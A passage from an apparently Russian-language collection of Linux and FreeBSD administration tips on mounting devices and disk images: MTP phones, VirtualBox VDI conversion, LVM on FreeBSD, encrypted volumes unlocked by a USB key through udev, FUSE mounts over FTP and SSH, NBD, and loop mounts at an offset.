    сборки компилятора языка программирования Go.
    
    
    Готовые сборки Go-mtpfs отныне доступны через PPA для Ubuntu 13.04, 12.10 и
    12.04. Unstable PPA используется для задействования самой свежей версии
    libmtp. Кроме того, подготовлен специальный апплет для оболочки Unity,
    позволяющий быстро монтировать и отмонтировать MTP-разделы.
    
    Установим Go-mtpfs из PPA:
    
       sudo add-apt-repository ppa:webupd8team/unstable
       sudo apt-get update
       sudo apt-get install go-mtpfs
    
    Установим дополнение для Unity:
    
       sudo apt-get install go-mtpfs-unity
    
    Для монитрования раздела вручную следует использовать команду:
    
       go-mtpfs /media/MyAndroid
    
    Для отмонтирования:
    
       fusermount -u /media/MyAndroid
    
    
    Для самостоятельной сборки go-mtpfs из Git-репозитория можно использовать
    следующую инструкцию, в результате которой будет подготовлен исполняемый файл /tmp/go/bin/go-mtpfs:
    
       sudo apt-get install golang fuse git-core libmtp-dev libfuse-dev
       sudo adduser $USER fuse
       mkdir /tmp/go 
       GOPATH=/tmp/go go get github.com/hanwen/go-mtpfs
      
    
    Кроме того, в состав libmtp входит несколько полезных утилит:
    
    Определение устройства:
    
       mtp-detect
    
    Подсоединение к устройству:
    
       mtp-connect
    
    Манипуляции с контентом на устройстве:
    
       mtp-albumart 
       mtp-getplaylist
       mtp-albums
       mtp-files
       mtp-sendfile
       mtp-folders  
       mtp-newfolder
       mtp-delfile
       mtp-newplaylist
       mtp-getfile
       mtp-playlists    
       mtp-tracks
    
    
       
    
     
    ----* Преобразование дисковых разделов для VirtualBox и обратно   [комментарии]
     
    Преобразование существующего дискового раздела в формат виртуальной машины VirtualBox.
    
    Создаем слепок дискового раздела /dev/sda1
    
       dd if=/dev/sda1 bs=512k of=os_image.img
    
    Преобразуем созданный образ в формат VDI:
    
       VBoxManage convertdd os_image.img os_image.vdi --format VDI
    
    
    
    Преобразование образа виртуальной машины для записи на диск/Flash.
    
    Если внутри виртуального диска один раздел, конвертируем VDI в сырой дамп:
    
       VBoxManage internalcommands converttoraw os_image.vdi os_image.img
    
    или 
    
       VBoxManage clonehd os_image.vdi /путь/os_image.img --format RAW
    
    Вычисляем смещение до нужного раздела:
    
       fdisk os_image.img
    
       Команда (m для справки): p
    
       Диск os_image.img: 0 МБ, 0 байт
       16 heads, 63 sectors/track, 0 cylinders
       Units = цилиндры of 1008 * 512 = 516096 bytes
       Sector size (logical/physical): 512 bytes / 512 bytes
       I/O size (minimum/optimal): 512 bytes / 512 bytes
       Disk identifier: 0x00000000
    
       Устр-во Загр     Начало    Конец    Блоки    Id  Система
       os_image.img1    1         213      107320+  83  Linux
    
    Раздел начинается с первого трека, значит смещение будет 63 * 512 = 32256
    
    Монтируем:
    
       sudo mount -o loop,offset=32256 os_image.img /mnt
    
    
    Записываем на диск /dev/sda8 (skip=63 - пропускаем 63 блока по 512 байт (bs=512)):
    
       dd if=os_image.img bs=512 skip=63 of=/dev/sda8
    
    если в образе больше одного раздела необходимо также указать размер копируемых
    данных через опцию count=N, где N - размер в 512 байтных блоках.
    
    Локальное монтирование статического VDI-образа.
    К ранее рассчитанному смещению для дискового раздела, нужно учесть размер
    заголовка (512 байт) и системного индекса VDI (4 байт на каждый мегабайт
    размера VDI).
    
       ls -al os_image.vdi
       -rw------- 1 test test 110101504 2010-12-20 21:47 os_image.vdi
    
    Для диска размером 105 Мб получаем смещение: 32256 + 512 + 4*(110101504/(1024*1024)) = 33188
    
    Значение 33188 дополняем до границы в 512 байт:
       echo "33188 - 33188 % 512 + 512" | bc
       33280
    
    Монтируем:
    
       mount -o loop,offset=33280 os_image.vdi /mnt/vdi
    
    Внимание ! Монтирование динамически расширяемых VDI невозможно, так как они
    имеют неоднородную структуру.
    
    Изменение размера VDI-образа:
    
    Самый простой способ создать пустой VDI нужного размера, из виртуального
    окружения разметить на нем ФС и скопировать данные. Любители графических
    интерфейсов могут загрузить в виртуальном окружении LiveCD c gparted (http://gparted.sourceforge.net/).
    
    Дополнение от pavlinux:
    
    Еще один метод локального монтирования статического VDI-образа.
    
       # modprobe nbd max_part=8 nbds_max=1
       # qemu-nbd --connect=/dev/nbd0 WindowsXPSP3.vdi
       # fdisk -l /dev/nbd0
    
       Устр-во Загр     Начало       Конец       Блоки   Id  Система
       /dev/nbd0p1   *           1        2813    22595391    7  HPFS/NTFS
    
       # mount -t ntfs-3g /dev/nbd0p1 /media/foofeel
       # ls  /media/foofeel
    
       AUTOEXEC.BAT  boot.ini    Documents and Settings  MSDOS.SYS 
    
     
    ----* Подключение LVM-разделов под FreeBSD   Автор: Владимир Чижиков (Skif)  [комментарии]
     
    При необходимости подключить диск с Linux машины с разделами под LVM на FreeBSD
    необходимо подгрузить необходимый тип файловой системы, с которой
    форматировался LVM раздел, а так же подгрузить модуль ядра (перекомпилировать
    ядро) для работы с LVM.
    Как определить, что на данном диске использовались LVM разделы?
    
    Вот так в sysinstall отображается диск с LVM разделом (Subtype 142):
    
       Disk name:      ad2                                    FDISK Partition Editor
       DISK Geometry:  4865 cyls/255 heads/63 sectors = 78156225 sectors (38162MB)
    
       Offset       Size(ST)        End     Name  PType       Desc  Subtype    Flags
    
             0         63         62        -     12     unused        0
            63     497952     498014    ad2s1      4     ext2fs      131
        498015   77658210   78156224    ad2s2      4    unknown      142
      78156225         63   78156287        -     12     unused        0
    
    либо вывод fdisk (sysid 142):
    
       # fdisk /dev/ad2
       ******* Working on device /dev/ad2 *******
       parameters extracted from in-core disklabel are:
       cylinders=77536 heads=16 sectors/track=63 (1008 blks/cyl)
    
       Figures below won't work with BIOS for partitions not in cyl 1
       parameters to be used for BIOS calculations are:
       cylinders=77536 heads=16 sectors/track=63 (1008 blks/cyl)
    
       Media sector size is 512
       Warning: BIOS sector numbering starts with sector 1
       Information from DOS bootblock is:
       The data for partition 1 is:
       sysid 131 (0x83),(Linux native)
        start 63, size 497952 (243 Meg), flag 80 (active)
            beg: cyl 0/ head 1/ sector 1;
            end: cyl 30/ head 254/ sector 63
       The data for partition 2 is:
       sysid 142 (0x8e),(unknown)
        start 498015, size 77658210 (37919 Meg), flag 0
            beg: cyl 31/ head 0/ sector 1;
            end: cyl 1023/ head 254/ sector 63
       The data for partition 3 is:
       <UNUSED>
       The data for partition 4 is:
       <UNUSED>
     
    Для монтирования LVM с EXT2/EXT3 файловой системой необходимо скомпилировать
    ядро с поддержкой EXT2FS:
    
       options EXT2FS
    
    либо добавить /boot/loader.conf строку:
    
       ext2fs_load="YES"
    
    Если после перезагрузки сервера необходимости в подключении данного диска не
    будет, тогда достаточно просто подгрузить модуль ядра
    kldload ext2fs
    
    Для подключения LVM разделов необходимо перекомпилировать ядро с опцией:
    
       option GEOM_LINUX_LVM
    
    либо добавить /boot/loader.conf 
    
       geom_linux_lvm_load="YES"
    
    вручную можно произвести загрузку следующим образом
    
       geom linux_lvm load
    
    посмотреть результат (пример):
    
       # geom linux_lvm list
       Geom name: skdeb5-home.bsd
       Providers:
       1. Name: linux_lvm/skdeb5-home.bsd-swap_1
          Mediasize: 1551892480 (1.4G)
          Sectorsize: 512
          Mode: r0w0e0
       2. Name: linux_lvm/skdeb5-home.bsd-root
          Mediasize: 38205915136 (36G)
          Sectorsize: 512
          Mode: r1w1e1
       Consumers:
       1. Name: ad2s2
          Mediasize: 39761003520 (37G)
          Sectorsize: 512
          Mode: r1w1e2
    
    в /etc/fstab прописать следующим образом:
    
       cat /etc/fstab | grep linux_lvm
    
       /dev/linux_lvm/skdeb5-home.bsd-root /mnt/ad2s2.ext2 ext2fs rw   0       0
    
    PS: Для монтирования LVM-раздела с другой FS, отличной от EXT2/EXT3 необходимо
    перекомпилировать ядро или загрузить соответствующие данной ФС модули ядра.
    
     
    ----* Монтирование Flash-накопителей с FAT в XFCE, работающем во FreeBSD (доп. ссылка 1)   Автор: bu7cher  [комментарии]
     
    Инструкция для тех, кому лень набирать "sudo mount_msdosfs /dev/da0s1 ..." и
    хочется, чтобы при подключении USB Flash на рабочем столе XFCE для монтирования
    автоматически появлялась иконка, корректно работающая с русскими именами файлов
    и не требующая для своей работы повышенных прав доступа.
    
    1. Через PolicyKit настраиваем разрешение на монтирование для пользователя
    homeuser, под котором будет осуществлен вход в систему. В
    /usr/local/etc/PolicyKit/PolicyKit.conf добавляем новую секцию:
    
       <match user="homeuser">
           <match action="org.freedesktop.hal.storage.mount-removable">
               <return result="yes"/>
    
           </match>
           <match action="org.freedesktop.hal.storage.mount-fixed">
               <return result="yes"/>
           </match>
           <match action="org.freedesktop.hal.storage.eject">
               <return result="yes"/>
    
           </match>
           <match action="org.freedesktop.hal.storage.unmount-others">
               <return result="yes"/>
           </match>
       </match>
    
    2. Настраиваем опции монтирования по-умолчанию в файле /usr/local/etc/xdg/xfce4/mount.rc:
    
       [vfat]
       # FreeBSD specific option
       longnames=true
       -L=ru_RU.UTF-8
       -D=CP866
       -m=0664
       -M=0775
       -u=homeuser
    
    Список возможных опций можно посмотреть в выводе lshal после подключения
    флэшки. Искать нужно строку volume.mount.valid_options. В ней содержатся
    разрешённые HAL'ом опции, которые можно передать ему для монтирования. Их же
    можно найти в файле
    /usr/local/share/hal/fdi/policy/10osvendor/20-storage-methods.fdi. По-умолчанию
    для FreeBSD эти опции разрешены и соответствуют перечисленным в мануале mount_msdosfs(8).
    
    В результате при подключении флэшки на рабочем столе появляется иконка диска,
    на которой можно  вызвать команду "Подключить том", либо просто два раза
    кликнуть,  чтобы открыть  Thunar с уже смонтированным носителем. Причём файлы с
    кириллицей в именах будут корректно отображаться,  и пользователь сможет
    записывать и удалять их.
    
     
    ----* Динамическое подключение шифрованных дисковых разделов   Автор: simplexe  [комментарии]
     
    Задача: Обеспечить шифрование централизованного хранилища с хранением ключей
    шифрования на внешнем USB-носителе (воткнул ключ - работает, вытащил - не
    работает). Пакет truecrypt не подошел из-за особенностей его лицензии и
    отсутствия во многих дистрибутивах. Для шифрования было решено использовать
    dm-crypt, из двух фронтэндов cryptsetup и cryptmount был выбран первый.
    
    
    1. Создаем ключ.
    
    Берём обычный Flash-накопитель на базе интерфейса USB, любого размера.
    Форматируем его в vfat и монтируем:
    
       sudo su -
       mkfs.vfat /dev/sdd1
       mkdir /mnt/usbkey
       mount /dev/sdd1 /mnt/usbkey
    
    Теперь, на него нужно скопировать будущий ключ:
    
       dd if=/dev/random of=/mnt/usbkey/public.key bs=1 count=256
    
    Тут думаю все понятно. Теперь, ключ готов и он на флэшке.
    
    
    2. Шифрование тома.
    У меня хранилище на зеркальном программном RAID'е. У вас может быть по-другому, но смысл тот же:
    
       cryptsetup --verbose -c aes-cbc-essiv:sha256 luksFormat /dev/md0 /mnt/usbkey/public.key
    
    Том зашифрован, подключаем его:
    
       cryptsetup --key-file /mnt/usbkey/public.key luksOpen /dev/md0 public
    
    Ну и форматируем:
    
       mkfs.ext3 -j -m 1 -O dir_index,sparse_super /dev/mapper/public
    
    Всё, он готов.
    
    3. Автомонтирование
    
    После чтения документации, консультаций на irc-канале #archlinux-ru  и
    экспериментов, был подготовлен следующий вариант файла конфигурации для udev /etc/udev/rules.d/10-usb-storage.rules:
    
       # если не sd уходим
       KERNEL!="sd[a-z][0-9]", GOTO="end"
       # если переменная существует, то отмонтируем /public
       ACTION=="remove", ENV{dir_name}=="?*", RUN+="/bin/umount -l /public"
       # если переменная существует, то закрываем ключ
       ACTION=="remove", ENV{dir_name}=="?*", RUN+="/sbin/cryptsetup luksClose public"
       # если переменная существует, то отмонтируем саму флэш
       ACTION=="remove", ENV{dir_name}=="?*", RUN+="/bin/umount -l /mnt/%E{dir_name}"
       # если переменная существует, то удаляем каталог
       ACTION=="remove", ENV{dir_name}=="?*", RUN+="/bin/rmdir /mnt/%E{dir_name}", GOTO="end"
       # проверяем на предмет монтирования
       ACTION=="add", PROGRAM=="/usr/bin/find /mnt/usbkey", RESULT=="/mnt/usbkey", GOTO="end"
       # ищем именно наши флэшки (просто у меня их две - с запасом, а посмотреть uuid можно /lib/udev/vol_id -u /dev/sdd1)
       # и переходим к монтированию, иначе уходим в конец
       ACTION=="add", PROGRAM=="/lib/udev/vol_id -u %N", RESULT=="4B7E-E254", GOTO="mount"
       ACTION=="add", PROGRAM=="/lib/udev/vol_id -u %N", RESULT=="2C3E-F663", GOTO="mount"
       GOTO="end"
       LABEL="mount"
       # опции монтирования и переменная каталога
       ACTION=="add", ENV{mount_options}="ro,utf8,noexec,nodev,noauto", ENV{dir_name}="usbkey"
       # создаем каталог
       ACTION=="add", RUN+="/bin/mkdir /mnt/%E{dir_name}"
       # монтируем ключ
       ACTION=="add", RUN+="/bin/mount -t vfat -o $env{mount_options} /dev/%k /mnt/%E{dir_name}"
       # открываем наш криптованный том
       ACTION=="add", RUN+="/sbin/cryptsetup --key-file /mnt/usbkey/public.key luksOpen /dev/md0 public"
       # монтируем его
       ACTION=="add", RUN+="/bin/mount /dev/mapper/public /public -t ext3 -o defaults"
       LABEL="end
    
    Отладку конфигурации можно сделать так:
    
       udevcontrol log_priority=9999
    
    И смотреть журнал:
    
       tail -f /var/log/messages
    
    В итоге, получим динамически монтируемые тома на основе usbtoken'ов.
    
     
    ----* Доступ к файлам виртуальных машин VMware ESX из Fedora Linux (доп. ссылка 1)   Автор: Andrey Markelov  [обсудить]
     
    Richard W.M. Jones в своем блоге опубликовал интересный пост
    (http://rwmj.wordpress.com/2010/01/06/examine-vmware-esx-with-libguestfs/) о
    работе при помощи утилит libguestfs с образами VMware ESX4. Немного дополнив,
    напишу, в чем суть.
    
    Во-первых нам понадобятся пакеты fuse-sshfs и guestfish. Первый позволяет
    монтировать при помощи FUSE удаленную файловую систему по SSH FTP, а второй
    установит в систему интерактивную командную оболочку, из которой можно получать
    доступ к образам дисков виртуальных машин, в том числе и vmdk. Естественно, в
    системе должны присутствовать стандартные компоненты виртуализации Fedora, в
    частности, работающий демон libvirtd.
    
    Для начала проверяем, какие присутствуют на хосте ESX виртуальные машины:
    
       $ virsh -c esx://192.168.1.12?no_verify=1 list --all
       Enter username for 192.168.1.12 [root]:
       Enter root password for 192.168.1.12:
       ID Имя Статус
       ----------------------------------
       208 www выполнение
       224 mail выполнение
       - 2RHEL5_DS отключить
       - 2W2003_DC отключить
       - RHEL5_IPA отключить
       - RHEL5_Satellite53 отключить
       - RHEL5_Server1 отключить
       - RHEL5_Station отключить
       - RHEL5_Station2 отключить
       - RHEL5_Zimbra отключить
    
    Далее смонтируем через FUSE соответствующую директорию файловой системы vmfs:
    
       $ mkdir esx
       $ sshfs root@192.168.1.12:/vmfs/volumes esx
       root@192.168.1.12's password:
       $ cd esx/
       $ ls
       4ac343f6-500e2828-d805-0022640793d2 LocalStorage1
    
    Естественно, мы ничего нового по сравнению с тем, что нам покажет vCenter
    client, не увидели. Далее переходим в директорию с нужной нам виртуальной машиной:
    
       $ cd LocalStorage1/RHEL5_IPA/
       $ ls
       RHEL5_IPA-flat.vmdk RHEL5_IPA.vmdk RHEL5_IPA.vmx vmware.log
       RHEL5_IPA.nvram RHEL5_IPA.vmsd RHEL5_IPA.vmxf
    
    При помощи новой утилиты virt-list-filesystems (в версии libguestfs репозитория
    Fedora 12 пока ее нет, зато есть в Rawhide) смотрим какие разделы доступны
    внутри образа:
    
       $ virt-list-filesystems -al RHEL5_IPA-flat.vmdk
       /dev/sda1 ext3
       /dev/vol0/home ext3
       /dev/vol0/root ext3
       /dev/sda3 swap
    
    И, наконец, запускаем интерактивную командную оболочку:
    
       $ guestfish --ro -a RHEL5_IPA-flat.vmdk -m /dev/vol0/root
    
       Welcome to guestfish, the libguestfs filesystem interactive shell for
       editing virtual machine filesystems.
    
       Type: 'help' for help with commands
       'quit' to quit the shell
    
       > ll /
       total 192
       drwxr-xr-x. 22 root root 4096 Oct 24 07:47 .
       dr-xr-xr-x 29 root root 0 Jan 8 12:59 ..
       drwxr-xr-x. 2 root root 4096 Oct 7 15:07 bin
       drwxr-xr-x. 2 root root 4096 Oct 7 13:45 boot
       drwxr-xr-x. 4 root root 4096 Oct 7 13:45 dev
       drwxr-xr-x. 93 root root 12288 Oct 24 07:47 etc
       drwxr-xr-x. 2 root root 4096 Oct 7 13:45 home
       ....
    
    Ну, а дальше man guestfish и help для списка команд оболочки. Для виртуальных
    машин с включенным SELinux крайне желательно использовать ключ --selinux, иначе
    при попытке записи файлов вы можете создать при монтировании образа r/w файлы
    без меток SELinux.
    
     
    ----* Монтирование iPhone и iPod Touch в Ubuntu (доп. ссылка 1)   [комментарии]
     
    Для работы с файлами на iPhone и iPod удобно использовать пакет iFuse
    (http://matt.colyer.name/projects/iphone-linux/), базирующийся на libiphone  и
    позволяющий монтировать содержимое устройств в виде файловой системы.
    
    Для установки iFuse из PPA репозитория в /etc/apt/sources.list добавим строчки
    
       deb http://ppa.launchpad.net/jonabeck/ppa/ubuntu jaunty main
       deb-src http://ppa.launchpad.net/jonabeck/ppa/ubuntu jaunty main
    
    "jaunty" следует заменить на имя текущей версии Ubuntu: "jaunty" - 9.04,
    "karmic" - 9.10,  "hardy" - 8.04 LTS.
    
    Импортируем ключ для PPA репозитория и устанавливаем пакет iFuse:
    
       sudo apt-key adv --recv-keys --keyserver keyserver.ubuntu.com F0876AC9
       sudo apt-get update
       sudo apt-get install ifuse and hit enter
    
    Все ! Теперь достаточно подключить iPhone или iPod Touch и увидеть в любом
    файловом менеджере содержимое устройства как это происходит для обычных USB Flash.
    
     
    ----* Монтирование ftp и ssh в локальную директорию   [комментарии]
     
    Дл монтирования будем использовать FUSE модули curlftpfs (http://curlftpfs.sourceforge.net/) 
    и sshfs (http://fuse.sourceforge.net/sshfs.html).
    curlftpfs хорош тем, что поддерживает шифрование (SSLv3/TLSv1), может работать поверх HTTP-прокси 
    и автоматически обрабатывает ситуации разрыва соединения. Sshfs интересен
    возможностью кэширования содержимого директорий.
    
    Для работы с FUSE от имени локального пользователя нужно добавить его в группу fuse:
    
       sudo addgroup логин fuse
    
    Настраиваем права доступа к директории в которую будем производить монтирование:
    
       chgrp fuse /home/user/mnt
       chmod g+w /home/user/mnt
    
    Ставим curlftpfs и sshfs:
    
       aptitude install fuse-utils curlftpfs sshfs
    или для RedHat подобных дистрибутивов:
       yum install fuse-utils curlftpfs sshfs
    
    монтирование FTP директории производится командой:
    
       curlftpfs ftp://ftp.test.ru /home/user/mnt
    или если используется пароль:
       curlftpfs ftp://логин:пароль@ftp.test.ru /home/user/mnt
    
    Кодировку можно задать через 
    
       curlftpfs -o codepage=koi8-r,iocharset=utf8 ftp://ftp.test.ru /home/user/mnt
    
    где koi8-r кодировка на ftp-сервере, utf8 - кодировка локальной системы.
    Выход через http-прокси можно организовать через опцию "-o proxy=host:port"
    
    Автоматизировать ввод пароля можно через стандартный ~/.netrc файл (man netrc):
    
        machine ftp.test.ru
        login логин  
        password пароль
    
    
    Для монтирования SSH 
    
       sshfs test@test.ru:/home/test /home/user/mnt
    
    Отмонтирование:
    
       fusermount -u /home/user/mnt
    
     
    ----* Монтирование по UFS идентификаторам через GEOM_LABEL во FreeBSD 7.2 (доп. ссылка 1)   [комментарии]
     
    Во FreeBSD 7.2 без лишнего шума была добавлена возможность монтирования UFS
    разделов по уникальным идентификаторам UFS ID.
    
    В /boot/loader.conf добавляем "geom_label_load=YES"
    Перезагружаемся или загружаем модуль ядра: 
    
       kldload geom_label
    
    В логе можно увидеть:
    
       GEOM_LABEL: Label for provider da0s1a is ufsid/49d629fac5da1db9
    
    Чтобы не зависеть от порядкового номера устройства da0, который может
    поменяться, например, при смене контроллера,
    использовании USB-накопителя, добавлении или удалении дисков, можно монтировать
    устройство /dev/da0s1a
    как /dev/ufsid/49d629fac5da1db9.
    
    Пример fstab:
    
       /dev/ufsid/49d629fac5da1db9 / ufs rw  1  1
    
    Кроме UFS ID, раздел можно монтировать и по назначенным вручную строковым меткам.
    Ставим метку при форматировании "newfs -L имя" или через "tunefs -L имя", а
    потом монтируем "/dev/ufs/имя"
    
     
    ----* Особенности монтирования ext2, ext3 и reiserfs разделов во FreeBSD   [комментарии]
     
    ReiserFS:
    
       kldload reiserfs
       mount -t reiserfs /dev/ad1s1 /mnt
    
    Ext2/Ext3:
    
       kldload ext2fs
       mount -t ext2fs /dev/ad1s1 /mnt
    
    Монтирование возможно только для корректно отмонтированных разделов, 
    если отмонтирование было некорректным 
    и раздел нуждается в проверке fsck, то будет выдана ошибка с неоднозначным текстом,
    например "Bad file descriptor".
    Проверить раздел во FreeBSD можно при помощи порта /usr/ports/sysutils/fsck_ext2fs
    
     
    ----* Создание виртуального CD/DVD накопителя в Ubuntu Linux (доп. ссылка 1)   [комментарии]
     
    Устанавливаем CDemu (http://cdemu.sourceforge.net/)
    
    Подключаем дополнительные репозитории, в /etc/apt/sources.list прописываем:
    для Ubuntu 8.04
       deb http://ppa.launchpad.net/cdemu/ubuntu hardy main
    для Ubuntu 8.10 
       deb http://ppa.launchpad.net/cdemu/ubuntu intrepid main
    
    Для других дистрибутивов готовые пакеты можно загрузить с сайта http://sourceforge.net/projects/cdemu/
    
    Устанавливаем:
    
       sudo apt-get update
       sudo apt-get install cdemu-daemon cdemu-client
    
    Запускаем сервис (подгружается модуль ядра cdemu и запускается демон cdemud):
    
       sudo /etc/init.d/cdemu-daemon start
    
    Добавляем виртульный CD-ROM с номером 0 на основе образа file.iso:
    
       cdemu load 0 file.iso
    
    После добавления виртуальный CD-ROM доступен как устройство /dev/cdemu/0 
    Примонтируем его (для примера работы с устройством, в простейших случаях проще монтировать файл 
    напрямую через "-o loop", создание виртуального CDROM полезно в ситуациях когда локально 
    смонтировать невозможно: хитрые форматы, защищенные DVD, звуковые дорожки и т.п.):
    
       mount -t iso9660 /dev/cdemu/0 /mnt/cdrom
    
    
    Смотрим какие виртуальные CD-ROM подключены:
    
       cdemu -s или cdemu status
    
       Drive Loaded Comment
       0:     1   file.iso
    
    Отключаем созданное устройство:
    
       cdemu unload 0
    
    
    Начинающие пользователи могут обойтись и без манипуляций в командной строке.
    
    Устанавливаем GNOME виджет gCDemu:
       sudo apt-get install gcdemu
    
    Перезагружаем пользовательский сеанс в GNOME или выполняем 
    
       cdemud-daemon.session
    
    Добавляем виджет gCDemu на панель и через GUI интерфейс привязываем iso образ к
    виртуальному устройству.
    
     
    ----* Как разрешить доступ к точке монтирования для приложения контролируемого SELinux (доп. ссылка 1)   [обсудить]
     
    Имеется CentOS с активным  SELinux. 
    Требуется обеспечить возможность доступа Apache к примонтированному локально iso-образу, USB Flash 
    или диску, содержащему файловую систему без поддержки SELinux.
    
    Решение: при монтировании необходимо явно определить политику доступа через опцию "context=".
    По умолчанию используется "context=system_u:object_r:removable_t".
    Для apache нужно монтировать так:
    
       mount -o loop,context=system_u:object_r:httpd_sys_content_t /path/to/image.iso /var/www/html
    
     
    ----* Как отключить автомонтирование Flash в Linux (доп. ссылка 1)   Автор: Dima L  [комментарии]
     
    Для отключения:
    
       sudo sh -c 'echo ATTRS{removable}=="1", SUBSYSTEMS=="block", NAME="" > /etc/udev/rules.d/99-block-storage.rules'
    
    
    Для включения:
    
       sudo rm /etc/udev/rules.d/99-block-storage.rules
    
    Или закоментировать содержимое этого файла.
    
    Разумеется все от root. Перезагружаться, или что-то перезапусткать не нужно.
    
    Выглядит наше правило:
       ATTRS{removable}=="1", SUBSYSTEMS=="block", NAME=""
    
    ATTRS{removable}=="1"
    Нужны только отключаемые устройства (что бы жесткий диск случайно не отключить).
    
    SUBSYSTEMS=="block"
    Нас интересуют устройства хранения данных. (Я пробовал другие подсистемы и драйверы, 
    но в этом случае отдельные партиции все равно подключались).
    
    NAME=""
    Собственно действие. Не создавать файл устройства.
    
    
    Дополнение от посетителя Undir:
    
    В Fedora начиная с 8 версии запрещать и раздавать права можно через PolicyKit:
    
    1. Запрещаем монтирование/размонтирование всем кроме рута:
    В файле /usr/share/PolicyKit/policy/hal-storage.policy
    ищем секцию: <action id="org.freedesktop.hal.storage.mount-removable">
    заменяем <allow_active>yes</allow_active>
    на <allow_active>no</allow_active>
    Перезапуск не требуется.
    Если пользователь вставляет флешку, то происходит запрос пароля рута.
    
    2. Разрешаем (если нужно) некоторым пользователям монтирование:
    /etc/PolicyKit/PolicyKit.conf
    меняем:
    
       <config version="0.1">
       </config>
    
    на:
    
       <config version="0.1">
          <match action="org.freedesktop.hal.storage.mount-removable">
             <match user="user1|user2|user3">
               <return result="yes"/>
             </match>
         </match>
       </config>
    
     
    ----* Выключение sync для внешних накопителей в Debian GNU/Linux   Автор: Karbofos  [комментарии]
     
    Ситуация: после подключения USB-стика при копировании на него информации в особо крупных размерах 
    наблюдается скорость около 10-200 килобайт/сек., что есть не очень хорошо, даже просто ужасно.
    
    Кто виноват?
    Виноват HAL. Внешние накопители (USB-флешки) он монтирует в режиме синхронной записи данных. 
    
    Что делать?
    Нужно изменить настройку одного из файлов конфигурации HAL:
       /etc/hal/fdi/policy/preferences.fdi
    
    отредактируем его, изначально было так (обычно в этот файл мало что вносится):
    
    
     <?xml version="1.0" encoding="UTF-8"?> <!-- -*- SGML -*- -->
     <deviceinfo version="0.2">
     <!--
      <device>
        <match key="storage.hotpluggable" bool="false">
          <match key="storage.removable" bool="false">
            <merge key="storage.automount_enabled_hint" type="bool">false</merge>
          </match>
        </match>
      </device>
     -->
    
    
    
    как видно, всё закомментировано, никаких настроек нет. а сделаем так:
    
     <?xml version="1.0" encoding="UTF-8"?> <!-- -*- SGML -*- -->
     <deviceinfo version="0.2">
      <device>   
        <!-- disable sync for mount -->   
        <match key="block.is_volume" bool="true">   
          <match key="volume.fsusage" string="filesystem">   
            <match key="@info.parent:storage.bus" string="usb"> 
              <merge key="volume.policy.mount_option.sync" type="bool">false</merge>   
            </match>   
          </match>   
        </match>   
      </device> 
     </deviceinfo>
    
    
    
    Вытаскиваем железки и перезапустим HAL, с привилегиями суперпользователя выполним:
      /etc/init.d/hal restart
    
    
    Подключаем железку, получаем, к примеру, на моём стике разность в скорости
    возросла с 120-200kB/s до 2.4-12 MB/s.
    Зависит от характеристик самой флешки.
    
    Настройки опций монтирования также могут быть найдены внутри директории /usr/share/hal/fdi/
    
    Опции с отключением синхронизации требуют обязательного отмонтирования накопителя!
    
     
    ----* Передача блочных устройств на другую машину, при помощи NBD в Linux (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Возможность работы с блочным устройством другой машины по сети может быть оправдана 
    при наличии на второй машине новой версии fsck, поддержки файловой системы 
    (например, тестирование нового драйвера FS, или экспорт на другую программную платформу, 
    диск можно подключить к Windows машине и примонтировать на компьютере с Linux) или 
    специализированного устройства (например, raid-контроллера), отсутствующих 
    на первой машине. NBD также можно использовать в целях упрощения ограничения 
    интенсивности операций ввода/вывода (клиент и сервер одна машина, регулировка 
    через iptables), хранилище можно примонтировать на нескольких машинах в read-only 
    режиме и использовать unionfs для сохранения изменений на локальный диск.
    
    Загружаем исходные тексты NBD с сайта http://nbd.sourceforge.net/
    или устанавливаем пакеты в Debian/Ubuntu (nbd-server на сервере, nbd-client на клиенте):
    
       apt-get install nbd-server
       apt-get install nbd-client
    
    Экспортируем устройство /dev/sdb1 на сервере:
    
       nbd-server 2000 /dev/sdb1
       или nbd-server 192.168.1.1:2000 /dev/sdb1 -r -l /etc/nbd.allow
    
    где, 2000 - номер порта для приема соединений от клиента, 
    для привязки к IP можно использовать "192.168.1.1:2000"
    Для экспорта в режиме только для чтения нужно указать опцию "-r"
    Таймаут можно задать через опцию "-a"
    Через опцию "-l" можно указать файл со списком IP, которым разрешен доступ.
    Через опцию "-c" можно организовать доступ в режиме фиктивной записи, когда все изменения 
    не будут записываться в экспортируемое устройство, а будут отражаться во временном файле, 
    доступном только для данной сессии.
    
    Вместо устройства можно экспортировать содержимое файла:
    
       dd if=/dev/zero of=/tmp/test.img count=256 bs=1024k
       mkfs.ext3 /tmp/test.img
       nbd-server 2000 /tmp/test.img
    
    На стороне клиента выполняем:
    
       modprobe nbd
       nbd-client IP_сервера 2000 /dev/nbd0
    
    Устройство /dev/sdb1 сервера будет доступно через /dev/nbd0 на стороне клиента.
    
    Монтируем файловую систему на стороне клиента:
    
       mount /dev/nbd0 /mnt
    
     
    ----* Как примонтировать в Linux раздел с образа диска, записанного в файл   [комментарии]
     
    Имеем полный образ USB Flash, полученный после 
    
       dd if=/dev/sdb of=usb.img
    
    Перед монтированием, необходимо выяснить смещение относительно начала образа:
    
       fdisk usb.img
       Command (m for help): p
    
       Disk usb.img: 0 MB, 0 bytes
       63 heads, 62 sectors/track, 0 cylinders
       Units = cylinders of 3906 * 512 = 1999872 bytes
       Disk identifier: 0x00000000
    
       Device Boot      Start         End      Blocks   Id  System
       usb.img1               1         701     1369022    6  FAT16
    
    Смещение будет = число секторов на дорожке * размер сектора * начальная дорожка раздела
    Итого: 62 * 512 * 1 = 31744
    
    Монтируем в директорию ./0
    
       mount -o loop,offset=31744 usb.img ./0
    
    Добавлено из комментариев:
    
       [root@host /]# kpartx -av `losetup -sf /tmp/sdb.img`
       add map loop2p1 : 0 401562 linear /dev/loop2 63
       add map loop2p2 : 0 7984305 linear /dev/loop2 401625
       [root@host /]# mount /dev/mapper/loop2p2 ./0
    
    Стоит отметить что данный способ гораздо проще в использовании, но требует
    поддержки ядром loopback, devicemapper и наличия kpartx.
    Но зато не надо ничего вычислять в уме.
    
     
    ----* Как смонтировать UFS раздел Solaris 10 или OpenSolaris x86 в Linux (доп. ссылка 1)   Автор: перевод pavlinux  [комментарии]
     
    Вы можете использовать обычную команду mount для монтирования раздела. mount
    автоматически не определяет тип файловой системы UFS.
    Вы должны указать тип UFS используя опции команды mount:
    
    * old: Старый формат UFS, по умолчанию, только чтение. (Не забудьте указать опцию -r .)
    * 44bsd:  Для файловых систем созданных на BSD-подобных системах как NetBSD, FreeBSD и OpenBSD
    * sun: Для файловых систем созданных на SunOS или Solaris для процессора Sparc.
